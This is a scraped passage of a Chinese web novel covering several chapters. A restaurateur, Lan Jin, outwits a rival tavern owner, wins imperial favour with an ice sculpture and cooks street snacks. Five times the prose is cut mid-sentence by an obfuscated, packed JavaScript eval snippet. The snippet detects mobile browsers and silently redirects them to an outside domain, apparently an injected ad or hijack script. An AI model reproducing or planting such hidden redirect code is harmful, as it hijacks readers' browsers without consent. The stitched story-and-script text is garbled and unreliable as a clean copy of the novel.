;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194813|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记”也将一跃成为天都贵人圈趋之若鹜的高档场合代名词。 “贵人们里面请，且看玲珑阁当季主打新品：云中酪。” 一时阁中烟气缭绕。虽然浅淡，可鲜花掩映之间，还有草木花果的熏香味，人人愣神，只觉身处仙雾之中。 蓝锦一袭红衣流光溢彩，笑得也是人比花娇。手执铜勺，掠过一只白玉碗。 但见碗中一团雪脂，绵软圆润，玉雪可爱，真似从仙宫采撷而来的仙实。 尤其是年轻的女娘，瞬间就被夺了全部的注意力。 蓝锦示意悟雅领头，为客人逐一呈上一份，笑道：“此云中酪是我独家秘法。吃起来暖润入怀，轻盈软糯，最是甜香可口。” 心急的女娘不待蓝锦解说，便低下身子咬了一口。 果真！外皮粘糯却入口即化，轻飘飘的甜，好像嘴里也起了仙雾一般。内里那种口感，吃天上的云也就这个感受了吧！ 阁中的夫人女孩儿们个个见多识广，此刻也是交头接耳，约定日后小聚都来玲珑阁尝鲜。 周掌柜的心情也是一样的美。 哈哈，蓝记品味已经好多天都没推出新品了。 须知那姓蓝的最爱搞新鲜花头，一天不憋出一个，嘿，好像她心痒痒似的！ 现在这是什么兆头？对家灰溜溜倒台的兆头！ 周大掌柜哼着小曲，呷着今年的新茶，心下还在嫌弃，不够灵，不够灵。 不急，等他吞了这口肥肉，待开春，专雇个商队去云雾山给他采第一茬！只要那芽尖尖上的！ “掌柜的！”厮波气喘吁吁地一路小跑回来。 “怎么？蓝记关门啦？犯刑律叫捉进去了？还是要卖酒楼？”周大掌柜满心焦急，他等这一天，等得太久了！ 抛费的食材，狼藉的后院，糟心的厨子...... “不是，都不是......” “那你倒是说啊！这急人玩意儿，太快人心的时刻，叫你添堵！” “蓝记玲珑阁，她们把天都贵夫人的口袋，全给掏空了！” “什么？” 46. 玲珑阁风波 “李夫人，怎么样，我未曾骗你吧？蓝记玲珑阁，是不是天都独一份的新鲜？”一位簪花着锦的贵夫人亲切地向身边的好友举杯相邀。 李夫人早已使蓝记花香皂净了手，夹起一勺鱼子酱，学着女使的样子放于自己的虎口处，放在鼻尖处轻嗅。 “确实新奇。” 咸香的鱼子酱，湿润鲜美，是湿漉漉的大海味道。 鱼子酱用低温盐煮等多道工序，经蓝锦亲自把关。使用的鲟鱼用了萧仁禹的人脉，远远地去海上捕捞而得，还在甲板上就开始了腌渍工序，保管新鲜。 “这一小粒，就如黄金一般珍贵。放在那小罐子里，用蜡封得紧实，我看啊，最适合走礼了。” “可不是嘛，近来公中安排人情往来，竟一水儿换上了蓝记玲珑阁的礼盒。不知道的，还以为我也往人家蓝大掌柜那里投了钱了。” “若真有这个机会，我也愿凑这个份子啊。”花朵一般的面孔们嬉笑着。 嫁作人妇的女子们彷佛回到人在闺中时，与交好的小姐妹们吃喝谈天，赴赴赏花宴的日子。 不，她们那会，可没有那么多花样。 须知玲珑阁的二层，还有许多个雅间，专供女娘们使用，连家中侍从小厮们都要止步。 有专给单人享受的，也有适合姐妹一同聊天的。 客人们往美人榻上一歪，尽管从单子上挑选合心意的活动，还有喜欢的吃食。 能点女使来做按摩，从头到脚都有项目安排。也能做脸，那香气四溢的瓶瓶罐罐，经了一轮又一轮眼花缭乱的手法之后，在轻柔的女声中，许多女娘都沉沉睡去了。 连那手指尖尖，都有专人呵护，蓝大掌柜这里有手膜，还有闪闪亮的丹蔻。 林林总总的项目做下来，连中馈掌得最具盛名的卢夫人，也想即刻把自家侍女们都遣来玲珑阁做贴钱的学徒。 可蓝大掌柜这边的人才训练有素的，想挖挖不走，想送人不收！ “你可别再动这个主意了，我听说啊，荣宝楼的周掌柜，早先就想挖悟雅姑娘走了！” “啊，还有这事？” “可不是，你没听说啊，悟雅姑娘对着人不吭不响，只把银票收了，同蓝小娘子一人一半分了，回回都是。” “哈哈，这可真是赔了夫人又折兵啊！” “是啊，悟雅姑娘可不跟人家走。莫说她同蓝小娘子这样要好，就单冲那蓝记人人......叫什么，人人持股的待遇，换我我也不能走。” “你怎么什么都清楚呀？” “那是，我可是蓝娘子家的维维维爱皮会员，小娘子什么不跟我说呀！” 旁边的一位夫人鬼鬼祟祟地把头隐在幕篱里，一只手伸出去摸小碟子里的甜辣条。 嚼嚼嚼，嚼嚼嚼—— 这小食，一看就很不体面，很不风光，很邋遢。 可是真的很好吃！ “哎，这位夫人，这么热的暖气房，你怎么还戴着这样厚的幕篱？第一次来吧？蓝娘子家的炭是她自家烧的，又没味道又热烫，你可别被热坏了。” “放心吧，大家都是姐妹，尽管在这玩，不会告诉你家男人的。” 这位娘子小心翼翼的，试探性地拿下幕篱：“果真不说吗？” “嗨，早知道这样，我就把我家泠儿也带来了。你不知道，最近家里那位发癫呐，一家老小走路都不敢有声。” 是周掌柜的夫人黎青。 彷佛卸下了封印，黎青往后深深一坐，一双缀了珍珠的软缎鞋晃来晃去，拈起一枚奶黄流心月饼来吃。 “噗，这不是荣宝楼的老板娘嘛！怎么也来蓝记，难不成是身在曹营心在汉呐？” 周掌柜在庭院间来回踱步，周家的家仆个个噤若寒蝉。周若泠携着贴身婢女绿影，使小碎步一点一点往角门挪去。 可恶！好几天了，娘亲自己出门玩耍不带她！ 留她一个人在这冰冷的大宅院里，面对一个易燃易爆炸的活炮仗。 要不是书院新来的岳素秋，给大家带来了蓝记新出的雪花酥，和她从娘亲荷包里翻出来的甜果子一模一样，她还叫人蒙在鼓里！ “若泠，我在这儿。”小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15199744|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋的马车一早在周家后院等着，向鬼鬼祟祟的女童招招手。 周若泠满脸惊喜，她真来了！原以为小秋最严肃古板不过，只一心扑在诗书上。 没办法，小秋也是叫她缠得怕了。总不能日日给她带免费的点心，姐姐研究新东西是做生意用的，可不是无止境讨好新同窗用的。 “只此一回，下次我可不干这事了。” “好好好，小秋最好了。”周若泠抱着她的小胳膊摇来晃去。下回她熟了路，保管自家摸去。 “这个好吃，唔，这个也没见过，哈哈，我也要试试这个。” 如黄莺一般的女声响了又响，叫蓝锦安排在一个上好雅间的周若泠，放下夹着酥黄独的筷子。 这声音听着，缘何那么像自家娘亲？ “主子，找到了，她们在这！” 周若泠向小秋发问的声音还未落下，雅间的门就被人瞬间撞开。周掌柜携一众举着棍棒、凶神恶煞的家仆大摇大摆进了门。 他无视说着“男子勿入”的女使们，大声叫嚷着： “好哇你个蓝大掌柜，哄骗绑架我周家女儿，叫她来你蓝记自甘堕落，以为这样就能给你蓝记撑场面了吗？算盘都打到老子头上了！” “只怕你就会弄这种不尽不实的把戏，看我不给你全揭破喽！” 叫闹声把所有雅间的门都吸引开了，每扇门后，都有一排脑袋跃跃欲试地看热闹。 周若泠扶额：“爹，少说两句，不够丢人的。” 小秋很生气这人污蔑蓝锦：“无中生有，不是君子所为！我姐姐都不屑将你视作对手！” 周若泠也高声道：“什么绑架！你别异想天开，是我求了小秋妹妹带我来的。这里又好吃，又好玩，还香香暖暖的，我就爱吃蓝记的饭！” “你做生意比不过人家，仿不来人家的食方，成日里弄得满院鸡飞狗跳，谁愿意在家里待！” 蓝锦得了小秋的消息，匆匆赶过来。 周掌柜脱了鞋，正要跑上前教训周若泠。一只着了粉白丹蔻的手伸将过来，一把拧住了他的耳朵。 47. 雪玉白草莓 蓝锦看着面前剑拔弩张的家庭纠纷，一时还不知怎样开口。 “好哇，你在家里丢人现眼还不够，跑到外边来现显你的疯狗样！”黎青指尖收束，把周掌柜的耳朵揪得更紧。 她正在姐妹们面前吃着点心唱着歌，损着丈夫吹着水，能容他跑过来下自家面子。 “家里容你两日便罢了，我这刚做的指甲，都叫你给我蹭坏了。” “蓝记玲珑阁怎么了，我看人家这好得很，比你那荣宝楼好多了。” 旁边的夫人小姐们纷纷附和：“你那酒楼酒气熏天，我们才不爱去。” 蓝锦上前笑着说：“玲珑阁喜迎八方宾，来者皆是客。不过，周大掌柜，我们这层楼，确确实实只接待女宾，还请移步。” “慢着！蓝大掌柜，你纵容家中小妹诱拐我女儿来此，打量着以后跟人说我荣宝楼比不上你蓝记，别太轻狂！”周掌柜根本不愿低头。 周若泠的年岁不算小，却还没大得过不再童言无忌的年龄。只无视着自家父亲的眼色，肆意开口： “我来这之前就从小秋那蹭了许多蓝记点心吃，样样都比荣宝楼的美味。我虽从小在酒楼间长大，却也从没吃过蓝姐姐家这么好吃的饭！” 众位夫人都哄笑一团，听说过搬起石头砸自己脚的，没围观过这么新鲜热乎的全程。 “小丫头说得对！我们也没吃过这么好吃的饭菜。” “比荣宝楼那冷碟冷酒的，舒服多了。” 蓝锦挥手叫乙一，一道黑影纵身一跃，立即把赖在女宾区的周掌柜拎下了楼。 她言笑盈盈地向诸位女客致歉：“承蒙贵客抬爱，终究是我们今日监管不严，影响了贵人们的心情。赠在座诸位每人一份雪玉草莓压惊，是我家风障地窖里温养出来的，试了很久的。” 女客们皆是惊呼，待尝到这酸甜可口、果味十足的奶白色草莓，更是个个赞不绝口，对蓝大掌柜的吹捧到达了新的高度。 莫说草莓在这冬日本就是稀罕物，单说这细腻多汁的果肉，像雪花一样在舌尖化开，便是新奇。 酸甜之外，还有一股清新独特的香味。纯净馥郁的滋味，直叫人吃了一颗又一颗。 另一边，周掌柜被乙一捆得像个粽子样，扔进自家马车里，无计可施，口中还在骂骂咧咧：“她蓝锦也就骗骗女人的钱！” 蓝锦不容得他这样狗吠，撩起帘子，信手拿了马鞭堵住他：“周大掌柜，今日扰了我的贵客，毁了我的门窗楼梯、家具摆件。不会这么简单，想一走了之吧？” 周掌柜心知自己不占理，此前不过硬横，只装得醉糊涂了。 蓝锦不伺候他，挥手叫悟雅朝他脸上泼了一盆水：“替周掌柜醒醒酒！怎么，这下能弄清自己姓甚名谁了吧？” 眼见围观的人群指指点点，周掌柜忍气吞声，低声道：“你别嚷嚷，赔多少钱，我赔就是了。” 蓝锦一笑，掏出小玉算盘劈里啪啦一打：“置物费误工费酒楼形象费精神损失费......周掌柜是老熟人了，我得给你打个折。不多，区区五千两！” 周掌柜陡然提高了声音：“夺少？” 蓝锦拿眼刀一扫他，只对自家伙计说话：“我都忘了周掌柜的一贯为人，只有欠钱不还的份。丁四，去给那光荣榜上标个钱数，再添一笔五千两！” “好了！好了！我给，我给还不行吗？”周掌柜含恨掏出怀里的银票，一错眼就叫蓝锦拿了个干净。 “周掌柜，还欠我不少，看在你先还了点的份上，这光荣榜上的数额，我暂时就不加了。”蓝锦皮笑肉不笑。 同样恨得牙痒痒的，还有被自家妹妹安华蹭了一把鼻涕一把泪的二皇子。 “你自己拍胸脯说过的，哪怕母亲不愿帮我，你也能帮我把萧世子弄到手！” “哎呀妹妹，你说那姓萧的有什么好的。一个病秧子，我上回见他，还跟在那酒楼老板后头伏地做小的。一看就有心机，不是好东西。” 二皇子已经把人家对自己软硬兼施的那部分忘光了。 “我不管。萧世子长得又好看，说话又好听，身材又好，武功还高，他和你们都不一样！” “哎哟，武功那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203242|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都翻篇了......”二皇子看着哭闹不休的妹妹，默了半晌。 诶？只要把那人现在的婚约对象弄没了，让一个病秧子就范，那不是手拿把掐的？ 回头叫人使绳子一捆，往妹妹的闺房里一扔，好米歹米都做成熟饭了，还怕父皇母亲不答应？ 一石二鸟，把跟自己不对付的蓝锦也顺便解决了。 二皇子一回府，便像模像样地召集了那帮狗头军师，如此这般，这般如此地商量了一阵。 第二天一早，穿戴整齐的二皇子在自家父皇身旁腻歪起来了： “千真万确，确实是一整条鲲鹏雕像，市井中倒真有奇人。” 他把嘴皮子都要磨破了，打着央求在上书房告假，出门玩耍的旗号，详详细细地把蓝记的花样与能耐渲染了个遍，着重强调了冰雕的生动雄伟。 “这人之前还给皇祖母进献过萱花酿呐，儿子只想去那里耍耍罢了。” 其实，二皇子逃课出门玩，什么时候用得着告假了。醉翁之意，全在于近期的万国会罢了。 看着自家玩主儿子离去的背影，皇帝倒真被说得心神摇曳起来。 这么新颖的东西，连这个小子都能吸引住，若是拿到万国会上镇场子，还不把那些外国来使们的下巴给惊掉了？ 于是立刻遣人微服察探蓝记。下人回来，还绘了图样，报说确有其事，也确实巍峨新奇，见所未见。 皇帝打定了主意，大手一挥，旨意颁下，选定蓝记掌柜蓝锦，为万国朝会提供压轴冰雕。务必要尽善尽美，万众瞩目。 二皇子先蓝锦一步得知了消息，乐得找不着北—— 全城乃至周边结了冰的大江大河，一早都叫他定下了。甚至连小湖小泊的，也都被他遣人凿碎，或撒东西融了污了。 最终，那蓝掌柜就会发现，若想如期奉上冰雕节供品，只有花大价钱来他这采买。否则，就等着完不成单子，被拉到菜市口砍头吧。 可是，他可是不会卖的，给多少钱都不卖。 若想与皇室中人争用度，量她也没这个胆子。 48. 御用炙驼峰 蓝锦收到旨意的那一刻，心中啧啧称奇。 这可真是打瞌睡送枕头，莫非是萧仁禹又让什么自己人翻动了一下舌头，把她的蓝记直接曝光到了御前。 正愁怎么进一步打开销路，提升品牌形象。 万国朝会，那简直跟自己公司中了奥运会投标一样，天大的好机会。 蓝锦当即调配了诸多硝石，把走了萧仁禹的门路延请来的冰雕师汇聚一堂，开会设计万国朝会的冰雕图纸。 二皇子坐等右等，迟迟不见蓝锦上门求饶。 他略一思忖，笃定地认为，蓝锦这是破罐子破摔，老实等死了。 连他的府邸都不敢拜访，到了御前还不吓得失了智。 如此继续花天酒地不提。 万国会的现场高朋满座，蓝锦托玲珑阁客人的面子，虽是供货的商贾，也坐在一群养尊处优的贵夫人之中。 “蓝小娘子，你这是怎么调制的丹蔻，真的不褪色。隔了这么些天，还跟第一天一样鲜灵。” “连夫人喜欢就好。玲珑阁还上了新的手部护理套餐，手膜的配方又改良升级。用了之后啊，保管让双手柔滑白嫩，就如人在闺阁时一样。再配上新的美甲护理，绝对是天都独一份的闪耀。” “蓝大掌柜可不能偏心，难道我就做不得你家维维维爱皮会员么？” 蓝锦笑着应了：“在座都是玲珑阁的衣食父母，我当然拿出压箱底的又适合她的好东西，用心招待！” 见夫人们高兴了，蓝锦回神，偷偷拿小刀割下一片炙驼峰。唔，华贵，粘糯，咸香，好吃！ 二皇子虽坐得远远的，人却往蓝锦这边探头探脑。 嘿，真是不见棺材不落泪，还敢大摇大摆来参加宴会，这会还有心思吃喝？ 有胆吃有命咽吗，他就等着看好戏吧。 大公主元宁进殿的时候，一眼就看到了腿伸得老长、还抖个不停的二皇子。 “承彦，好吃吗？” 二皇子承彦一个鲤鱼打挺直起身子，老实开口行礼：“大姐姐。” 元宁没说什么，只淡淡一瞥他，满脸都是“这是什么场合把你流里流气的样子收收干净我这是大度才为了你的政治形象勉强提醒你”。 承彦悻悻地坐回去了，手指都不敢往杯盘伸去。 为什么大姐姐读书比他好，国策应对比他好，连进食的礼仪神态都比他好啊喂！ 二皇子扭曲，爬行，像个阴雨天的青蛙，杀伤力为零，力图让人恶心得发抖。 “哈哈哈！”整天无忧又无虑，活泼又开朗，酒池肉林不在话下，国库没钱就去抄个几家重臣的皇帝陛下正款款向大家走来。 “众位爱卿，平身！平身！吃好喝好啊，就跟自己家一样。” 元宁默默单手掩额。有时也不能嫌承彦不着调，他最爱缠着的人都是这个样子，还指望他正到哪里去？ 大公主压抑下心头的波涌，侍女瑶君知趣地上前，手执琉璃壶，为元宁倒上一杯赤红的甜酒。 咦，这味道却新鲜。入口不冲不辣，回甘醇厚，细细咂摸，是紫葡萄的香味。 如有心灵感应一般，她抬起头对上坐席西北角，一个面若银月的女娘正努力朝向自己这里，展露此生最诚挚的笑颜。 此次专为万国会设下的大宴，冰雕出不出风头倒还是其次。最吸引蓝锦的，一是见识皇家御用珍贵食材，如炙驼峰，这毕竟在后世都少见。 二来，就是这位文韬武略、勤勉正直的大公主，元宁。 身为谢家皇室的第一个孩子，她全然不像荒淫无状的今上，或者其他热衷风花雪月的谢家宗亲。 或许是承袭自她的母亲，出身大儒世家，聪慧敏锐、谙熟政局却低调内敛的王皇后。 简而言之，一个卷王。 据萧仁禹那里听来的消息，昔年浩浩汤汤的“夕午之变”，竟是叫大公主元宁铁腕强控，生生收拾了残局。 那是这位皇帝第一次一改荒唐面貌，强硬把控朝局，认真与太后叫起板来。 他口口声声把要女官制连根拔起，一刀切废除。正一正祖宗之法，把那牝鸡司晨的，全都赶出朝堂！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221621|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太后虽也是个极年轻的女娘，皇后都没做过就被硬扶成了太后，却很懂得寸进尺的恐怖，寸步不让。 如是这番沸沸扬扬的争斗蔓延全朝。这边说废除女官，就先废除女奴制。 那边说保留女官，那就让女的也服徭役。 这边又说今天能废女官，明天也能废男官。我看男官留着也没什么大用，大家一起废，有何不可！ 那边说女官女官，那女的也得服兵役。 这边说好，这个兵役我们就服了，谁说将军不能是女的。 那边破防跳脚，说女的只能做军妓。 这边说南风馆那你没少去！这么熟练，真不知爱的是买勾子还是卖勾子！ ...... 眼看争端一路奔着下三路去了，积蓄多时的大公主元宁出手了。 她拿着整理好的三省六部历年文书数据，先是一家家拜访重臣阁老，阐明任二位持续攻讦、随意施为的利害，说服他们不再明哲保身。 又摆足了礼贤下士的细节，一一拜托各位臣下的妻女。 如是，等到太后坐到垂帘听政的幕帘后头，皇帝气哼哼地一脚碾在玉石踏板上，他们发现—— 手持笏板，身着诰命服的，是满朝女娘。 连盔甲上殿的，也是卫大将军的小女儿，尚未及笄，还会被自己的左脚绊右脚。 她的盔甲是娘亲为她特制的，一早就做好，谁想到居然在这种时候派上用场。 皇帝是真没想到满朝文武竟然齐齐罢工，还这么大胆，居然敢让自家妻女代替他们上朝。 他一怒之下，怒了一下。 他倒连法不责众都没想起来，只因为这国事处理，他委实不算擅长啊。 太后其实心里也没底。她找上元宁那孩子合作的时候，只想保住自己在朝堂上的地位，没想过会搞这么大啊。 更何况这些初来乍到的女娘，确实一时难以上手冗杂的事务。 朝堂运转，每一个螺丝钉般的小吏可以被替换，却不能从上到下，一股脑地把旧木全换了新木。 49. 土家酱香饼 蓝锦想，换完的忒修斯之船就算还是忒修斯之船，也不能是风一吹就散了架的呀。 果然，最后双方低头妥协，收回乱发的政令。 而皇帝在这场争端里尝到恣意妄为的快感，太后的势头，终究是黯淡下去了一点。 这一切元宁都不怎么在乎。她只等着六部的数据，不厌其烦地整理、复盘、分析，力求不让这个尾大不掉的破船触了礁，翻了车。 蓝锦十分欣赏谢元宁。 这是一个课题分离做到极致，目光如炬，励精图治却又懂得藏锋敛锷的女娘。 一个实干的理想主义者。 谢元宁瞧着蓝锦的笑脸，眯着眼睛想了一会。噢，这不是前些时日，萧家那个奸猾小子，求她关照的女娘吗？ 自己不过是赶上了，借了一下他家的旧部，唬了一唬腐败成性、强抢民女的地方官罢了。 她不说他武功尽废缠绵病榻是假的，他也不提她擅自离都微服私访。互相保守秘密，本来心照不宣。大路朝天，各走一边。 现在竟然是要把她赖上了吗？ 她要找机会看看，这个蓝小娘子，有什么特别之处。 宴会的热闹，在蓝锦依言上前，掀开巨大的红帘之后，达到了顶峰。 一条腾云驾雾的龙，盘旋在小山之上，威风凛凛。虽然是用冰雕成的，胡须和五爪几乎要飞起来了。 身着各色服装的使者们皆一脸惊叹，这就是天朝气象吗？ 皇帝明显龙颜大悦，当即拍板：“天朝蓝记所献之礼最佳！” 不等其他来使提出什么异议，二皇子率先跳出来了：“父......父皇，那不过是冰雕！” “是啊，皇儿专门告假去玩的那户人家，她们进献的。还多亏了你，不然，朕也找不到这等好物。” 二皇子早在刚刚蓝锦平安顺利地奉出冰雕时，就几乎不敢相信自己的眼睛。 全城的冰都叫他弄走了，她这是哪里弄来的这么大块的冰？ “它......你这是假的，不是真冰！” 安华一贯喜欢人前不给她这个同胞哥哥留面子，何况他最近还招惹了自己，闻言嗤道：“冰还分什么真假。是不是真的，你上去用舌头舔一舔，看能不能给你黏住？” 承彦恨铁不成钢，这个蠢妹妹，真是蠢到家了。 你知道你该帮哪一头吗？ 蓝锦却在此刻恭谨上前：“启奏陛下，民女所献冰雕，用的确实不是寻常的冰。” 她递给身旁的内侍一块硝石，由他捧着托盘呈给了皇帝。 “民女偶然得一制冰之法，今日所献大型冰雕，就是用此法制成。若使用此法，无论什么季节时空，都能随心制冰，凛冬用冰不必等待，炎夏也不必守着冬季的冰窖。” 这可是一件大好事，耽于享乐的皇帝闻言立刻心动。他人白胖，体虚，难挨盛夏，年年往避暑行宫去，也无法驱散身上的热意。 一旁的谢元宁也是刮目相看了。一个小小的食店老板，竟然还能涉足工部的差事。所图甚广，能力也不容小觑。 这样的人才，屈居食店岂不可惜。 应该抓来！给她干活！ 皇帝看蓝锦的目光俨然像看一个金疙瘩，龙颜大悦不说，当即给蓝锦封了个空有名头的荣衔，叫她立刻把工部官吏教会。 还大手一挥，赐了一块金字招牌：“巧夺天工”。 蓝锦笑意盈盈地从容谢恩。 二皇子承彦见状，憋气，烦闷，阴暗，憋出内伤。 再一看安华，没心没肺的，还有闲心跟自家侍女商讨：蓝记云中酪要是也用上许多冰，冻得邦邦硬，是不是更甜美？ 她一早发现了，一份凉着吃的甜点，较之热着的时候，竟能清甜好几倍！ 很好，只有二皇子受伤的世界达成了。 啊啊啊，他到底是在为谁两肋插刀啊？ 第一个摸到这块金字招牌上的笔画的，是岳素秋。她把今日从小水洼里救上的小鱼，在自家酒楼的厅堂里放生。 乐颠颠地跑过来，把湿了的小手一股脑抹在她的小布挎包带子上。 “喔，这就是皇帝写成的吗？” “是，也不是，是找匠人雕刻哒。” 蓝锦着人把这块牌子摆在蓝记酒楼大堂的正中央，系了围裙，去给小秋做晚间加餐。 读书可是很累的活计，很费脑子，很容易饿。 所以但凡小秋一着家，不管是什么时辰，蓝锦势必给她先填填肚子。 有伙计帮忙，蓝锦做饭早已比往常开小摊时轻松百倍。按理说她也不必再亲自动手下厨，但是为自己爱的家人洗手做羹汤，蓝锦甘之如饴。 她把切碎成泥的蒜头、葱头和胡萝卜，连同切碎的榨菜，搅拌在一起。 起了一口热锅，“滋滋啦啦”地把三肥七瘦的猪肉末煸炒至干香。 蓝锦的酒楼一向很强调酱料。甭管用得多还是少，酱料只选风味最足的。不够格的常常撤换，保证随时都能用上最美味的。 她这会儿把豆瓣酱、黄豆酱和番茄酱拌匀了，又稍微洒了点辣椒面。然后就开始加调料：仍是蓝记特酿的味极鲜，老抽酱油，盐，糖，和代替味精的干贝蘑菇粉。 蓝锦还时常自己做鸡汁。 是拿肥肥的鲜鸡边角料，金黄的鸡肥油、鸡爪、鸡骨等等，熬煮得软烂成渣，过滤之后煮上一些淀粉和盐，拿小罐子蜡封上，就是纯天然鸡汁调味料。 现下她把刚调好的酱汁倒进煸炒着的肉末里，想起来新做好的鸡汁，也往里添了一些，滋味更盛。 酱香已经非常浓郁，霸道地往人鼻子里钻。 面饼是提前就发上了的。蓝锦一早就用热油泼了面粉，搅了一碗油酥。然后就使热水，拿筷子和一个半烫面。 醒发小半时辰，把它擀开成一大张，八爪鱼一样裹住油酥，包裹成团。 再醒发差不多的时间，擀成一张大饼，就能上油锅小火去煎。刻意不叫它展平，就是皱皱巴巴的，才最能挂料。 直到两面金黄，间有橙褐，就把蓝锦刚熬煮的复合香酱厚厚地双面刷上。 才出锅的酱实在勾人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227245|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小秋刚刚忍不住，已经偷尝过一小口。 再往饼上撒上一层炒熟了的白芝麻，一大把青绿的小香葱花，切成菱形小块，就是专门馋哭小孩大人的酱香饼。 蓝锦笑盈盈地看着小秋抱着一大盘子，不住地往嘴里塞。 香香脆脆，外脆里软。 饼皮的含水量适宜，暄软得也刚好。皮上的褶皱非常吸味，多种多样的酱料，每一种都算数，调动着每一处味蕾。 “好吃，香极了！姐姐，你也吃。” 蓝锦满意地笑了，凭着记忆复刻的街边小食，倒没有翻车，幸亏她的天然调料自制得好。 此刻，蓝记门外却是一片喧腾。大公主元宁抬手拦住纷纷起身想要回避的宾客们，表示大家随意。 天都居民都知道这位大公主的随和，也知她说不介意就是真的不介意。 于是，大家又安心入座，推杯换盏，蓝记又恢复了平素高朋满座、香飘十里的样子。 蓝锦一双星星眼，起身去迎接大公主，客客气气地引人去厢房。 谁知大公主只是随意在窗边无人处找了个位子，看见大快朵颐的小秋，还来了一句： “这个还有吗，给我也来一份。” 蓝锦虽然惊讶，却也很快接受良好。拿一个尽量显得贵的盘子，把酱香饼摆成一个散射雪花，中间还雕了一只黄瓜小兔，力求让它典雅高贵。 大公主却像小秋一样拿了个竹签子，风卷残云，三两口就吃了半盘子。 “嗯，新奇，滋味不错！” 元宁拍掉手上的白芝麻，接过瑶君执著递过来的帕子，擦擦嘴和手，不吝赞美之词。 “隔得老远就闻到这个味道了，原来吃起来也这么香。怪不得小姑娘爱吃，有眼光。” 小秋也很高兴的样子，她一鼓作气又吃了好多块，认可面前的好看姐姐看上自己的眼光，也力证自己是个很有饭量的大人。 “您说得太对了，我们小秋吃东西就是香。饭量可好啦，她还不挑食，什么都爱吃！吃什么都香喷喷的，从没见过这么可人怜的娃娃。每天她一回家，我这酒楼都能加上好些单子。” 蓝锦与谢元宁就这样信口开河地聊了会家常，彼此观察着对方，谁也没有先挑明来意或正事。 她们都没想到，打破眼前局面的，竟然是浔阳侯夫妇。 这回打先锋的倒换成了徐仲辞，一向唱念作打的翁十娘只远远地缀在后头，满脸灰扑扑的不情愿。 “哎呀，我的大掌柜！这一向可好哇？”徐仲辞脸上的褶子笑作一团，叫他挤得好像一朵菊花。 “支应这么大的酒楼，每日可怪累人的吧。你看看，这小脸都瘦了。旁人要见了，该说我们徐家风水不养人了。” “成日这么忙，可也要注意身体。若是太辛苦，便家去养着多好。我们这两个老骨头可每日盼着你呐，得空也来我们跟前露露面不是？” 蓝锦看过的川剧变脸，都没有徐仲辞翻脸翻得干脆。 是谁陆陆续续，明里暗里威胁她好几回，死也不愿叫蓝锦认回徐家的？ 50. 黏糊麻辣烫 蓝锦和大公主道了歉，直接把人送到厢房。 好整以暇地坐下：“说说吧，又有什么事。” 徐仲辞笑得像朵花：“瑾娘，好事啊！万国朝会你可是大出了风头，徐家族长也要专门为你设接风宴呐。” 蓝锦一声嗤笑：“先前是谁守着大门吓唬我，连小秋这个小孩子都不放过。生怕我真回了徐家，脏了你们徐家的地方。” 族谱到底只是关起门来供奉的，蓝锦是徐家长女的事情只限于一小部分人知晓。外人眼中，时至今日，徐家还是无子无嗣的状态。 饶是这样，徐仲辞也不肯松一松口，把他当年弄丢的孩儿接回去。 还死死守着消息，以防岳母那边知晓。 蓝锦倒乐得不认这个便宜爹。她有吃有喝，还有小狗，做什么去大宅院里讨生活？ 是以，原身的外婆梁若虹派来一直守在蓝锦身边的高手，光看着蓝锦当面打徐家人的脸，就不下三五遭。 